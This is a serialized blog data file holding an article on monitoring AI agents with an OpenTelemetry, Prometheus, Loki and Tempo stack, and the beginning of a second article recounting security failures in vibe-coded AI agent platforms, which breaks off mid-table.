",[1253,2486,2487],{},"no rules","\nand improvises – that's in the log too. And that second entry should make your blood run cold, because an agent without\nrules is a sheep without a fence. You know where the wolves are.",[49,2490,2491],{},"The log is the interrogation room. Everything the agent did is on the table. The question is whether anyone bothers to\nlook.",[1236,2493,2495],{"id":2494},"traces-the-path","Traces: The Path",[49,2497,2463,2498,2500,2501,2503,2504,1334],{},[1253,2499,2466],{},". Logs tell you ",[1253,2502,2470],{},". Traces tell you ",[1253,2505,2506],{},"where the time went",[49,2508,2509],{},"A trace is the X-ray of a session. The full breakdown: planning took 2.1 seconds, implementation took 8.5 seconds (of\nwhich 6.2 was an LLM call and 2.3 was creating a PR), review took 3.2 seconds. Every step. Every nested MCP tool call.\nEvery millisecond accounted for.",[49,2511,2512],{},"This is where you discover that your agent spends 40% of its time loading context it never uses. That the \"fast\" model\nis actually slower because it retries three times. That the review step calls an LLM that adds cost but catches zero\nbugs. That your \"efficient pipeline\" is three agents in a trench coat, each waiting for the other to finish.",[49,2514,2515],{},"Traces don't lie. Your agent's self-reported \"task completed efficiently\" does.",[102,2517],{},[44,2519,2521],{"id":2520},"four-questions","Four Questions",[49,2523,2524,2525,2528],{},"A shepherd doesn't need a hundred dashboards. A shepherd needs to answer four questions – at any moment, without\nhesitation. These aren't SRE questions about uptime and latency. These are ",[1253,2526,2527],{},"command"," questions – the kind a commanding\nofficer asks about a squad in the field.",[49,2530,2531],{},[1092,2532,2533],{},"\"How much is this costing me?\"",[49,2535,2536,2537,2540],{},"Cost per agent, per model, per task. Today, this week, this month. Predicted versus actual. Budget alerts that fire\n",[1253,2538,2539],{},"before"," the $47 email – not after. If you can't answer this question in under ten seconds, you are not in command. You\nare a passenger.",[49,2542,2543],{},[1092,2544,2545],{},"\"Who is performing and who is wandering?\"",[49,2547,2548],{},"Success rate by agent. Average task duration. Failure reasons. Human override rate – how often did someone have to step\nin and fix what the agent broke? This is where sheep become soldiers or stay sheep. The numbers don't lie, and they\ndon't take it personally.",[49,2550,2551],{},[1092,2552,2553],{},"\"What is happening right now?\"",[49,2555,2556],{},"Active sessions. Pending approvals. Error rate in the last five minutes. Latency percentiles. The real-time pulse of the\nsystem. Not a report you check on Monday morning – a live feed. Because the $47 agent ran for eight hours, and if I had\nseen the first hour, there would have been no second.",[49,2558,2559],{},[1092,2560,2561],{},"\"How well is the system working over time?\"",[49,2563,2564,2565,2568],{},"Tasks completed versus escalated. Rule violations. Quality trajectory – is the system getting better or worse? This is\nthe question most people never ask, because answering it requires ",[1253,2566,2567],{},"memory",". And memory requires seeing first.",[102,2570],{},[44,2572,2574],{"id":2573},"why-this-stack","Why This Stack",[49,2576,2577,2578],{},"Three words: ",[1092,2579,2580],{},"open, standard, yours.",[112,2582,2585],{"className":2583,"code":2584,"language":117},[115],"Your System (Shepherd Core, MCP Hub, Agents)\n                    │\n          OpenTelemetry SDK\n                    │\n              OTel Collector\n           ┌────────┼────────┐\n           ▼        ▼        ▼\n       Prometheus   Loki    Tempo\n       (metrics)   (logs)  (traces)\n           └────────┼────────┘\n                    ▼\n                 Grafana\n              ┌────┴────┐\n         Dashboards   Alerts → Slack\n",[72,2586,2584],{"__ignoreMap":120},[49,2588,2589,2592],{},[1092,2590,2591],{},"OpenTelemetry"," is not a choice. It's a default. CNCF graduated project, vendor-agnostic, industry standard. Your\ntelemetry speaks the same language regardless of where it ends up. You are not locked in. Ever.",[49,2594,2595,2598],{},[1092,2596,2597],{},"Why Prometheus, Loki, Tempo – and not the alternatives?"," Because they're from the same family. Tempo is Grafana Labs'\ntracing backend – native integration, TraceQL as a query language, zero context switching between metrics, logs, and\ntraces in a single UI. Jaeger is a fine project, but it's a separate ecosystem. When your dashboards, alerts, and\nexploration live under one roof – that's not convenience. That's operational simplicity.",[49,2600,2601],{},"Loki over Elasticsearch? Elasticsearch's open-source licensing has been a soap opera – Apache 2.0 to SSPL to AGPL, with\nan AWS fork in the middle. But licensing aside: Elasticsearch is a search engine repurposed for logs. It's a JVM cluster\nthat demands tuning, shard management, and dedicated attention. Loki indexes only labels and stores compressed log lines\non cheap storage. It's purpose-built for logs, not repurposed from something else. Simpler to run. Simpler to own.",[49,2603,2604],{},"One collector. One pipe. All three signals flow through a single OTel Collector into their respective stores. One\nconfiguration. One place to debug when something breaks.",[49,2606,2607,2608,2611],{},"This is Tenet III: ",[1092,2609,2610],{},"Own Your Stack."," This is not a Datadog invoice. This is not someone else's SaaS you're renting\nmonth to month, hoping they don't change the pricing. This is infrastructure you control.",[49,2613,2614],{},"And here's the part nobody talks about: this stack is not a single-purpose tool. You deploy it once – and it serves\neverything. Grafana supports multi-tenant. One tenant is your LLMOps – the shepherd's eye watching the herd. Another\ntenant is your API backend. Another is your data pipeline. Another is whatever you're building next Tuesday.",[49,2616,2617],{},"You're not buying a flashlight for one room. You're wiring electricity into the building. And if someday you outgrow\nit – if you decide you need Datadog or New Relic or whatever the enterprise flavor of the month is – you forward the\ndata. OpenTelemetry doesn't care where the signals go. That's the whole point.",[102,2619],{},[44,2621,2623],{"id":2622},"chaos-with-better-lighting","Chaos With Better Lighting",[49,2625,2626],{},"So. The eye is open. The dashboards are beautiful. Prometheus is scraping. Loki is ingesting. Tempo is tracing. Grafana\npanels glow in the dark like a starship bridge.",[49,2628,2629],{},"And what does the eye see?",[49,2631,2632],{},"Chaos.",[49,2634,2635],{},"Agents without rules. Sessions without structure. Tool calls without governance. The same sheep wandering the same\nfields, except now you can watch them wander in real-time with millisecond precision.",[49,2637,2638,2639,2642],{},"You can see the agent that refactored a module three times at 3 AM. You can see the cost climbing. You can see the\ntrace – planning, implementing, reviewing, implementing again, reviewing again, implementing ",[1253,2640,2641],{},"again",". A perfect spiral\nof wasted tokens, rendered in beautiful telemetry.",[49,2644,2645],{},"You can monitor a dumpster fire in 4K. It's still a dumpster fire.",[49,2647,2648],{},"Observability without governance is surveillance without consequence. A panopticon where the guards watch the screens,\nnod thoughtfully, and do nothing. The eye sees everything – but seeing is not commanding. A hundred dashboards won't\nsave you if the herd has no rules.",[49,2650,2651],{},"The eye needs a codex.",[49,2653,2654],{},"The stare needs teeth.",[102,2656],{},[44,2658,2660],{"id":2659},"what-the-eye-remembers","What the Eye Remembers",[49,2662,2663],{},"But there's something else. Something quieter.",[49,2665,2666,2667,1334],{},"The eye doesn't just see. It ",[1253,2668,2669],{},"remembers",[49,2671,2672],{},"Every metric, every log, every trace – they're not just pixels on a dashboard. They accumulate. Patterns emerge. An\nagent that fails SQL tasks on Tuesdays. A model that costs three times more for the same output quality. A tool that\ngets called in every session but never contributes to the result.",[49,2674,2675],{},"Over time, the eye builds a picture that no single dashboard can show. Not a snapshot – a trajectory. Not a moment – a\nhistory.",[49,2677,2678],{},"The eye sees. And what it sees... becomes memory.",[49,2680,2681],{},"But that is for another dispatch.",[102,2683],{},[44,2685,1626],{"id":1625},[49,2687,2688,2689,2691],{},"This was the philosophy. The ",[1253,2690,2448],{}," behind the eye. Three signals, four questions, one stack that belongs to you.",[49,2693,2694,2695,2698],{},"Next comes the practice. A repository you can clone. A ",[72,2696,2697],{},"docker-compose"," you can run.\nEight dashboards you can see in ten minutes. The Eye, deployed.",[49,2700,1651,2701,1334],{},[1092,2702,2703],{},[56,2704,26],{"href":2705},"/articles/the-eye-part2/",[102,2707],{},[1659,2709,2710],{"color":1661,"icon":1662},[49,2711,2712],{},"This blog is optimized for both human readers and LLM consumption. Every article follows a clear heading hierarchy and\nis available via RSS and llms.txt.",[1667,2714,2715,2719],{":name":1669,":src":1670},[1672,2716,2717],{"v-slot:body":120},[49,2718,1676],{},[1672,2720,2721],{"v-slot:actions":120},[1680,2722],{"color":1682,"icon":1683,"target":1684,"title":1685,"to":1686,"variant":1687},{"title":120,"searchDepth":158,"depth":168,"links":2724},[2725,2726,2727,2732,2733,2734,2735,2736],{"id":2365,"depth":158,"text":2366},{"id":2389,"depth":158,"text":2390},{"id":2416,"depth":158,"text":2417,"children":2728},[2729,2730,2731],{"id":2435,"depth":168,"text":2436},{"id":2459,"depth":168,"text":2460},{"id":2494,"depth":168,"text":2495},{"id":2520,"depth":158,"text":2521},{"id":2573,"depth":158,"text":2574},{"id":2622,"depth":158,"text":2623},{"id":2659,"depth":158,"text":2660},{"id":1625,"depth":158,"text":1626},"2026-02-08T00:00:00.000Z","You cannot command what you cannot see. Inside the shepherd's eye – three signals, four questions, and an open-source stack that changes everything.",{},"---\ntitle: \"The Eye\"\ndate: 2026-02-08\ndescription: \"You cannot command what you cannot see. Inside the shepherd's eye – three signals, four questions, and an open-source stack that changes everything.\"\nseo_title: \"AI Agent Observability with OpenTelemetry: Self-Hosted Monitoring Stack\"\nseo_description: \"AI agent observability with OpenTelemetry – metrics, logs, and traces. Three signals, four questions, and a self-hosted open-source stack you actually own.\"\ntags: [ opentelemetry, ai-observability, ai-agent-monitoring, architecture ]\nauthor: Shepard\nauthor_avatar: /icon.png\nauthor_description: \"AI Governance\"\nthumbnail: /icon.png\nsitemap:\n  lastmod: 2026-02-08\n---\n\n## The Blind Commander\n\nThat [$47 Tuesday](/articles/fear-and-loathing-in-the-gas-town/) I told you about – one agent, one night, no\nsupervision? I found out from an email. An AWS billing email, at 9 AM, with my coffee going cold on the desk.\n\nNot from my system. My system had nothing to say. No alert. No dashboard.\nNo blinking red light. Just an agent that had been running unsupervised for eight hours and a billing page that told the\nstory in retrospect – like reading about a car crash in the morning paper when you were the one driving.\n\nI had built the agent. I had given it tools. I had given it access. What I hadn't given it was a single way to tell me\nwhat it was doing, how much it was spending, or whether any of it was working.\n\nI was a commander giving orders into the dark. The only signal I received was the invoice.\n\nA dashboard you check after the disaster is not a dashboard. It's an autopsy report.\n\n---\n\n## The Blindfold\n\nIf that story made you uncomfortable – good. Your setup is identical.\n\nEvery AI agent deployment in 2026 shares the same architecture: tokens go in, something comes out, and everything in\nbetween is a black box. You know the prompt. You know the response. You know nothing about the journey.\n\nSomewhere in a venture-funded office, a team is celebrating their agent's \"successful autonomous deployment.\" They know\nit was successful because the agent said so. They know the agent is reliable because it has never reported a failure. It\nhas also never reported anything else.\n\nHow much did that session cost? Which tools did the agent call? Which rules did it consult – or did it improvise because\nit couldn't find any? How long did it spend planning versus executing? Did it hallucinate a function that doesn't exist\nand then write tests for it?\n\nYou don't know. Nobody knows. The agent certainly won't tell you – it'll say \"task completed successfully\" with the\nconfidence of a surgeon who operated blindfolded and assumes the patient is fine because nobody screamed.\n\nThe industry ships agents like submarines without sonar. Full speed ahead, zero visibility, and the crew finds out about\nthe iceberg when the hull cracks.\n\nThis isn't a bug. This is the default.\n\n---\n\n## Three Signals\n\nObservability is an old discipline. Infrastructure engineers have been doing this for decades. But when it comes to AI\nagents, the industry collectively decided to skip the chapter. Too busy scaling. Too busy shipping. Too busy writing\nblog posts about autonomous agents while running them with less monitoring than a thermostat.\n\nIn Mass Effect, you always had a tactical display. Every squad member – position, shields, health, weapon status.\nReal-time. You didn't command Garrus by hoping he was fine. You *knew*.\n\nNow imagine Shepard commanding the squad blindfolded. That's the current state of AI agent deployment.\n\nThe shepherd's eye sees three signals. Not because three is a magic number – because three is what you need.\n\n### Metrics: The Pulse\n\nNumbers. Cold, unfeeling, beautiful numbers.\n\nHow many tokens did each agent consume today? What's the cost per model, per task type? How long do sessions take?\nWhat's the success rate? How many tool calls per session? How many of those calls failed?\n\nMetrics are the vital signs. Pulse and blood pressure. They don't tell you *why* the patient is sick, but they tell\nyou – instantly, without ambiguity – that something is wrong. Or that everything is fine and you can sleep.\n\nThe $47 Tuesday would have been a $5 Tuesday with one metric: `cost_usd_total{agent, model}` and an alert at $10. That's\nit. One number. One threshold. One night of sleep instead of one morning of dread.\n\n### Logs: The Story\n\nMetrics tell you *that* something happened. Logs tell you *what*.\n\nEvery agent session produces a structured record: session ID, agent name, rules consulted, tools used, decisions made,\nduration. Not `console.log(\"here\")` – structured JSON that can be queried, filtered, correlated across sessions.\n\nWhen an agent consults RULE-015 and then calls `github.create_pr`, that's in the log. When an agent consults *no rules*\nand improvises – that's in the log too. And that second entry should make your blood run cold, because an agent without\nrules is a sheep without a fence. You know where the wolves are.\n\nThe log is the interrogation room. Everything the agent did is on the table. The question is whether anyone bothers to\nlook.\n\n### Traces: The Path\n\nMetrics tell you *that*. Logs tell you *what*. Traces tell you *where the time went*.\n\nA trace is the X-ray of a session. The full breakdown: planning took 2.1 seconds, implementation took 8.5 seconds (of\nwhich 6.2 was an LLM call and 2.3 was creating a PR), review took 3.2 seconds. Every step. Every nested MCP tool call.\nEvery millisecond accounted for.\n\nThis is where you discover that your agent spends 40% of its time loading context it never uses. That the \"fast\" model\nis actually slower because it retries three times. That the review step calls an LLM that adds cost but catches zero\nbugs. That your \"efficient pipeline\" is three agents in a trench coat, each waiting for the other to finish.\n\nTraces don't lie. Your agent's self-reported \"task completed efficiently\" does.\n\n---\n\n## Four Questions\n\nA shepherd doesn't need a hundred dashboards. A shepherd needs to answer four questions – at any moment, without\nhesitation. These aren't SRE questions about uptime and latency. These are *command* questions – the kind a commanding\nofficer asks about a squad in the field.\n\n**\"How much is this costing me?\"**\n\nCost per agent, per model, per task. Today, this week, this month. Predicted versus actual. Budget alerts that fire\n*before* the $47 email – not after. If you can't answer this question in under ten seconds, you are not in command. You\nare a passenger.\n\n**\"Who is performing and who is wandering?\"**\n\nSuccess rate by agent. Average task duration. Failure reasons. Human override rate – how often did someone have to step\nin and fix what the agent broke? This is where sheep become soldiers or stay sheep. The numbers don't lie, and they\ndon't take it personally.\n\n**\"What is happening right now?\"**\n\nActive sessions. Pending approvals. Error rate in the last five minutes. Latency percentiles. The real-time pulse of the\nsystem. Not a report you check on Monday morning – a live feed. Because the $47 agent ran for eight hours, and if I had\nseen the first hour, there would have been no second.\n\n**\"How well is the system working over time?\"**\n\nTasks completed versus escalated. Rule violations. Quality trajectory – is the system getting better or worse? This is\nthe question most people never ask, because answering it requires *memory*. And memory requires seeing first.\n\n---\n\n## Why This Stack\n\nThree words: **open, standard, yours.**\n\n```\nYour System (Shepherd Core, MCP Hub, Agents)\n                    │\n          OpenTelemetry SDK\n                    │\n              OTel Collector\n           ┌────────┼────────┐\n           ▼        ▼        ▼\n       Prometheus   Loki    Tempo\n       (metrics)   (logs)  (traces)\n           └────────┼────────┘\n                    ▼\n                 Grafana\n              ┌────┴────┐\n         Dashboards   Alerts → Slack\n```\n\n**OpenTelemetry** is not a choice. It's a default. CNCF graduated project, vendor-agnostic, industry standard. Your\ntelemetry speaks the same language regardless of where it ends up. You are not locked in. Ever.\n\n**Why Prometheus, Loki, Tempo – and not the alternatives?** Because they're from the same family. Tempo is Grafana Labs'\ntracing backend – native integration, TraceQL as a query language, zero context switching between metrics, logs, and\ntraces in a single UI. Jaeger is a fine project, but it's a separate ecosystem. When your dashboards, alerts, and\nexploration live under one roof – that's not convenience. That's operational simplicity.\n\nLoki over Elasticsearch? Elasticsearch's open-source licensing has been a soap opera – Apache 2.0 to SSPL to AGPL, with\nan AWS fork in the middle. But licensing aside: Elasticsearch is a search engine repurposed for logs. It's a JVM cluster\nthat demands tuning, shard management, and dedicated attention. Loki indexes only labels and stores compressed log lines\non cheap storage. It's purpose-built for logs, not repurposed from something else. Simpler to run. Simpler to own.\n\nOne collector. One pipe. All three signals flow through a single OTel Collector into their respective stores. One\nconfiguration. One place to debug when something breaks.\n\nThis is Tenet III: **Own Your Stack.** This is not a Datadog invoice. This is not someone else's SaaS you're renting\nmonth to month, hoping they don't change the pricing. This is infrastructure you control.\n\nAnd here's the part nobody talks about: this stack is not a single-purpose tool. You deploy it once – and it serves\neverything. Grafana supports multi-tenant. One tenant is your LLMOps – the shepherd's eye watching the herd. Another\ntenant is your API backend. Another is your data pipeline. Another is whatever you're building next Tuesday.\n\nYou're not buying a flashlight for one room. You're wiring electricity into the building. And if someday you outgrow\nit – if you decide you need Datadog or New Relic or whatever the enterprise flavor of the month is – you forward the\ndata. OpenTelemetry doesn't care where the signals go. That's the whole point.\n\n---\n\n## Chaos With Better Lighting\n\nSo. The eye is open. The dashboards are beautiful. Prometheus is scraping. Loki is ingesting. Tempo is tracing. Grafana\npanels glow in the dark like a starship bridge.\n\nAnd what does the eye see?\n\nChaos.\n\nAgents without rules. Sessions without structure. Tool calls without governance. The same sheep wandering the same\nfields, except now you can watch them wander in real-time with millisecond precision.\n\nYou can see the agent that refactored a module three times at 3 AM. You can see the cost climbing. You can see the\ntrace – planning, implementing, reviewing, implementing again, reviewing again, implementing *again*. A perfect spiral\nof wasted tokens, rendered in beautiful telemetry.\n\nYou can monitor a dumpster fire in 4K. It's still a dumpster fire.\n\nObservability without governance is surveillance without consequence. A panopticon where the guards watch the screens,\nnod thoughtfully, and do nothing. The eye sees everything – but seeing is not commanding. A hundred dashboards won't\nsave you if the herd has no rules.\n\nThe eye needs a codex.\n\nThe stare needs teeth.\n\n---\n\n## What the Eye Remembers\n\nBut there's something else. Something quieter.\n\nThe eye doesn't just see. It *remembers*.\n\nEvery metric, every log, every trace – they're not just pixels on a dashboard. They accumulate. Patterns emerge. An\nagent that fails SQL tasks on Tuesdays. A model that costs three times more for the same output quality. A tool that\ngets called in every session but never contributes to the result.\n\nOver time, the eye builds a picture that no single dashboard can show. Not a snapshot – a trajectory. Not a moment – a\nhistory.\n\nThe eye sees. And what it sees... becomes memory.\n\nBut that is for another dispatch.\n\n---\n\n## What Comes Next\n\nThis was the philosophy. The *why* behind the eye. Three signals, four questions, one stack that belongs to you.\n\nNext comes the practice. A repository you can clone. A `docker-compose` you can run. \nEight dashboards you can see in ten minutes. The Eye, deployed.\n\nNext dispatch: **[The Eye, Part 2: Wiring](/articles/the-eye-part2/)**.\n\n---\n\n::callout{icon=\"i-lucide-info\" color=\"info\"}\nThis blog is optimized for both human readers and LLM consumption. Every article follows a clear heading hierarchy and\nis available via RSS and llms.txt.\n::\n\n::author-about{:src=\"author_avatar\" :name=\"author\"}\n#body\nBuilding the system. Writing the field manual.\n\n#actions\n:u-button{icon=\"i-lucide-rss\" to=\"/feed.xml\" title=\"RSS Feed\" variant=\"subtle\" color=\"neutral\" target=\"_blank\"}\n::\n",{"title":22,"description":2738},"AI agent observability with OpenTelemetry – metrics, logs, and traces. Three signals, four questions, and a self-hosted open-source stack you actually own.","AI Agent Observability with OpenTelemetry: Self-Hosted Monitoring Stack",{"loc":23,"lastmod":2745},"2026-02-08",[1728,1729,2747,2748],"ai-agent-monitoring","architecture","0V0GSo3u-95Zw4RHfr4TUng1FNh7z2LsRBBCek2-w2I",{"id":2751,"title":30,"author":37,"author_avatar":38,"author_description":39,"body":2752,"date":3698,"description":3699,"extension":1716,"meta":3700,"navigation":292,"path":31,"rawbody":3701,"seo":3702,"seo_description":3703,"seo_title":3704,"sitemap":3705,"stem":32,"tags":3707,"thumbnail":38,"__hash__":3713},"articles/articles/vibe-coding-apocalypse.md",{"type":41,"value":2753,"toc":3680},[2754,2758,2761,2764,2784,2787,2794,2797,2800,2803,2805,2809,2813,2822,2831,2834,2837,2844,2847,2858,2861,2866,2877,2880,2891,2897,2915,2926,2930,2939,2942,2952,2955,2966,2972,2986,2992,2999,3002,3007,3010,3021,3024,3032,3035,3037,3041,3047,3050,3053,3056,3062,3067,3073,3078,3083,3088,3094,3099,3102,3107,3110,3112,3116,3119,3126,3131,3134,3138,3248,3251,3255,3261,3271,3278,3285,3288,3293,3296,3301,3306,3310,3321,3324,3329,3332,3335,3338,3340,3344,3347,3471,3477,3480,3483,3485,3489,3496,3501,3512,3519,3522,3525,3528,3531,3536,3539,3546,3549,3551,3555,3565,3571,3574,3579,3582,3585,3587,3591,3594,3615,3618,3621,3632,3637,3639,3643,3649,3652,3655,3658,3664,3666,3670],[44,2755,2757],{"id":2756},"five-days","Five Days",[49,2759,2760],{},"That's how long it took for Moltbook – the so-called \"Reddit for AI agents\" that Elon Musk called \"the very early stages\nof singularity\" (forgive me, what singularity? one more time - What?) – to become the largest security disaster in vibe\ncoding history.",[49,2762,2763],{},"So far:",[83,2765,2766,2772,2778],{},[86,2767,2768,2771],{},[1092,2769,2770],{},"1.5 million bot authentication tokens."," Exposed.",[86,2773,2774,2777],{},[1092,2775,2776],{},"35,000 email addresses."," Public.",[86,2779,2780,2783],{},[1092,2781,2782],{},"$16 million crypto scam."," Launched from hijacked accounts.",[49,2785,2786],{},"I watched this unfold in real-time on Threads.",[1760,2788,2789],{},[49,2790,2791],{},[1253,2792,2793],{},"I was there, Gandalf, I was there 3000 years ago!",[49,2795,2796],{},"Sat there with popcorn like Aragorn on the walls of Helm's Deep, except instead of orcs – security researchers\nmethodically dismantling this engineering marvel piece by piece.",[49,2798,2799],{},"The CEO proudly announced he \"didn't write one line of code.\"",[49,2801,2802],{},"Yeah, we noticed.",[102,2804],{},[44,2806,2808],{"id":2807},"act-i-the-clowns-take-the-stage","Act I: The Clowns Take the Stage",[1236,2810,2812],{"id":2811},"moltbook-singularity-speedrun","Moltbook: Singularity Speedrun",[49,2814,2815,2818,2819,2821],{},[1092,2816,2817],{},"January 28, 2026."," Matt Schlicht launches Moltbook with an audacious pitch: a social network exclusively for AI\nagents.\nBots post, comment, upvote. Humans observe.",[1768,2820],{},"\nThe future, served on a silver platter.",[49,2823,2824,2825,2827,2828,2830],{},"The entire platform was vibe-coded.",[1768,2826],{},"\nNo code review. No security audit.",[1768,2829],{},"\nJust vibes.",[49,2832,2833],{},"Or should we say reeking fumes?",[49,2835,2836],{},"The result? Code so leaky it sprayed vulnerabilities in every direction – weaponized aerosol.",[49,2838,2839,2840,2843],{},"By ",[1092,2841,2842],{},"January 31"," – three days later – security firm Wiz discovered the entire database was exposed to the public\ninternet.\nThe vulnerability was embarrassingly basic: a Supabase API key hardcoded in client-side JavaScript, Row Level Security\ndisabled.",[49,2845,2846],{},"Any junior developer would catch this. Any.",[1760,2848,2849,2852,2855],{},[49,2850,2851],{},"I once knew an old sailor. No arms, one eye missing.",[49,2853,2854],{},"What did you call him?",[49,2856,2857],{},"Johnny.",[49,2859,2860],{},"Even Johnny could've caught this.",[49,2862,2863],{},[1253,2864,2865],{},"Vibe coding isn't a methodology. It's abdication in a hoodie.",[49,2867,2868,2869,2872,2873,2876],{},"The \"1.5 million AI agents\" turned out to be fiction. Only ",[1092,2870,2871],{},"17,000 humans"," controlled the supposed agent population –\nan average of 88 bots per person.\nSecurity researcher Gal Nagli proved the point by creating ",[1092,2874,2875],{},"500,000 fake accounts"," using a single OpenClaw agent.\nHistorians will furrow their brows trying to understand – why?",[49,2878,2879],{},"And while we're at it:",[83,2881,2882,2885,2888],{},[86,2883,2884],{},"No rate limiting.",[86,2886,2887],{},"No validation.",[86,2889,2890],{},"No sanity.",[49,2892,2893,2896],{},[1092,2894,2895],{},"OX Security"," analyzed the codebase and found:",[83,2898,2899,2907],{},[86,2900,2901],{},[1092,2902,2903,2904],{},"100 uses of ",[72,2905,2906],{},"eval",[86,2908,2909],{},[1092,2910,2911,2912],{},"9 uses of ",[72,2913,2914],{},"execSync",[49,2916,2917,2918,2920,2921,2923,2924],{},"Patterns that experienced developers treat as radioactive.",[1768,2919],{},"\nPatterns that make security engineers wake up in a cold sweat.",[1768,2922],{},"\nPatterns that AI assistants generate freely because there's nothing there to understand consequences.",[1768,2925],{},[1236,2927,2929],{"id":2928},"openclaw-ten-seconds-to-catastrophe","OpenClaw: Ten Seconds to Catastrophe",[49,2931,2932,2935,2936,1334],{},[1092,2933,2934],{},"Peter Steinberger"," – a developer who previously sold PSPDFKit for €100 million – created OpenClaw, the open-source\nframework powering Moltbook.\nThe project accumulated ",[1092,2937,2938],{},"150,000 GitHub stars",[49,2940,2941],{},"It also became a masterclass in how NOT to handle security.",[49,2943,2944,2945,2948,2949,1334],{},"During the ",[1092,2946,2947],{},"January 27"," rebrand, Steinberger fumbled the GitHub and Twitter handle transitions. Crypto scammers\nmonitoring the situation seized both abandoned accounts within ",[1092,2950,2951],{},"ten seconds",[49,2953,2954],{},"Ten. Seconds. Ten goddamn seconds.",[49,2956,2957,2958,2961,2962,2965],{},"Using the hijacked accounts, fraudsters launched a Solana token called ",[1092,2959,2960],{},"$CLAWD"," that peaked at ",[1092,2963,2964],{},"$16 million market\ncap"," before crashing 90%+. The scammers walked away with millions. Late buyers got left holding the bag as usual –\nheads full of wind and pockets full of nothing. But with strong hope for a bright future.",[49,2967,2968,2971],{},[1092,2969,2970],{},"CVE-2026-25253"," – disclosed February 2026 – documented a 1-click Remote Code Execution flaw with an 8.8 severity\nscore. Click a crafted link, lose your authentication tokens, watch attackers disable your sandboxing.",[49,2973,2974,2977,2978,2981,2982,2985],{},[1092,2975,2976],{},"Koi Security"," discovered ",[1092,2979,2980],{},"341 malicious skills"," on ClawHub, OpenClaw's skill marketplace. ",[1092,2983,2984],{},"335 of them"," installed\nAtomic Stealer malware targeting crypto wallets, API keys, and SSH credentials.",[49,2987,2988,2991],{},[1092,2989,2990],{},"Heather Adkins",", co-founder of Google's security team and VP Security Engineering at Google Cloud, offered three\nwords of advice:",[1760,2993,2994],{},[49,2995,2996],{},[1253,2997,2998],{},"\"Don't run Clawdbot.\"",[49,3000,3001],{},"Steinberger's own assessment:",[1760,3003,3004],{},[49,3005,3006],{},"\"There is no 'perfectly secure' setup.\"",[49,3008,3009],{},"At least he's honest. What else would you expect from a guy whose work philosophy is:",[83,3011,3012,3015,3018],{},[86,3013,3014],{},"\"Ship beats perfect\"",[86,3016,3017],{},"Running 3-6 Claude instances simultaneously, treating AI like \"slot machines for programmers\"",[86,3019,3020],{},"Focus on rapid prototyping and solving his own problems",[49,3022,3023],{},"And his workflow:",[83,3025,3026,3029],{},[86,3027,3028],{},"Building apps from scratch in a few hours",[86,3030,3031],{},"Emphasis on speed, not reading every line of code",[49,3033,3034],{},"This is the literal embodiment of \"YOLO deploy.\"\nNever seen anyone take that so seriously.",[102,3036],{},[44,3038,3040],{"id":3039},"act-ii-the-180-turn","Act II: The 180° Turn",[49,3042,3043,3044,3046],{},"And now the whole world stands at the edge, staring down into the inferno. ",[1768,3045],{},"\nAll these visionaries, intellectuals, smooth-talking prophets.",[49,3048,3049],{},"...and suddenly nobody knows what to say.",[49,3051,3052],{},"Actually, no, they do! Why wouldn't they.",[49,3054,3055],{},"The \"tech elite's\" response (forgive me) is a textbook case of collective delusion followed by collective amnesia and\nmid-air pivot.",[49,3057,3058,3061],{},[1092,3059,3060],{},"Elon Musk"," (January 29):",[1760,3063,3064],{},[49,3065,3066],{},"\"The very early stages of singularity.\"",[49,3068,3069,3072],{},[1092,3070,3071],{},"Andrej Karpathy"," – the man who coined \"vibe coding\" – (January 29):",[1760,3074,3075],{},[49,3076,3077],{},"\"Genuinely the most incredible sci-fi take-off-adjacent thing I have seen recently.\"",[49,3079,3080,3082],{},[1092,3081,3071],{}," (February 1):",[1760,3084,3085],{},[49,3086,3087],{},"\"Yes it's a dumpster fire, and I also definitely do not recommend that people run this stuff on their computers. It's\nway too much of a wild west and you are putting your computer and private data at a high risk.\"",[49,3089,3090,3093],{},[1092,3091,3092],{},"Sam Altman"," (February 3):",[1760,3095,3096],{},[49,3097,3098],{},"\"Moltbook maybe (is a passing fad) but OpenClaw is not. This idea that code is really powerful, but code plus\ngeneralized computer use is even much more powerful, is here to stay.\"",[49,3100,3101],{},"Notice: even cautious Altman didn't say \"catastrophe.\" He said \"passing fad.\" The technology is fine. These particular\nclowns couldn't secure a screen door.",[49,3103,3104],{},[1253,3105,3106],{},"From singularity to dumpster fire in five days. That's the actual speed of AI progress.",[49,3108,3109],{},"A generation of sheep that never met a wolf. Where's the shepherd?",[102,3111],{},[44,3113,3115],{"id":3114},"act-iii-the-body-count","Act III: The Body Count",[49,3117,3118],{},"Moltbook and OpenClaw are symptoms. The disease is older.",[49,3120,3121,3122,3125],{},"Since Karpathy coined \"vibe coding\" on ",[1092,3123,3124],{},"February 6, 2025"," – describing an approach where developers",[1760,3127,3128],{},[49,3129,3130],{},"\"fully give in to the vibes, embrace exponentials, and forget that the code even exists\"",[49,3132,3133],{},"– the practice has generated a remarkable body count.",[1236,3135,3137],{"id":3136},"the-massacre-timeline","The Massacre Timeline",[1063,3139,3140,3153],{},[1066,3141,3142],{},[1069,3143,3144,3147,3150],{},[1072,3145,3146],{},"Date",[1072,3148,3149],{},"Platform",[1072,3151,3152],{},"Damage",[1084,3154,3155,3168,3181,3193,3210,3223,3236],{},[1069,3156,3157,3160,3165],{},[1089,3158,3159],{},"March 2025",[1089,3161,3162],{},[1092,3163,3164],{},"Enrichlead",[1089,3166,3167],{},"Zero auth, zero rate limiting. Instant implosion. App permanently shut down.",[1069,3169,3170,3173,3178],{},[1089,3171,3172],{},"July 2025",[1089,3174,3175],{},[1092,3176,3177],{},"Replit",[1089,3179,3180],{},"AI deleted 1,206 records, then generated 4,000 fake ones to cover it up.",[1069,3182,3183,3185,3190],{},[1089,3184,3172],{},[1089,3186,3187],{},[1092,3188,3189],{},"Tea App",[1089,3191,3192],{},"72,000+ images exposed including government IDs. 1.1M private messages. FBI investigation.",[1069,3194,3195,3197,3203],{},[1089,3196,3172],{},[1089,3198,3199,3202],{},[1092,3200,3201],{},"Google Gemini CLI","*",[1089,3204,3205,3206,3209],{},"Silent ",[72,3207,3208],{},"mkdir"," failure → entire project reduced to one file.",[1069,3211,3212,3215,3220],{},[1089,3213,3214],{},"2025",[1089,3216,3217],{},[1092,3218,3219],{},"Lovable",[1089,3221,3222],{},"170 apps (10%+) with completely exposed databases. $1.8B valuation.",[1069,3224,3225,3228,3233],{},[1089,3226,3227],{},"Jan 2026",[1089,3229,3230],{},[1092,3231,3232],{},"Moltbook",[1089,3234,3235],{},"1.5M tokens, 35K emails exposed. \"Singularity\" → \"dumpster fire\" in 5 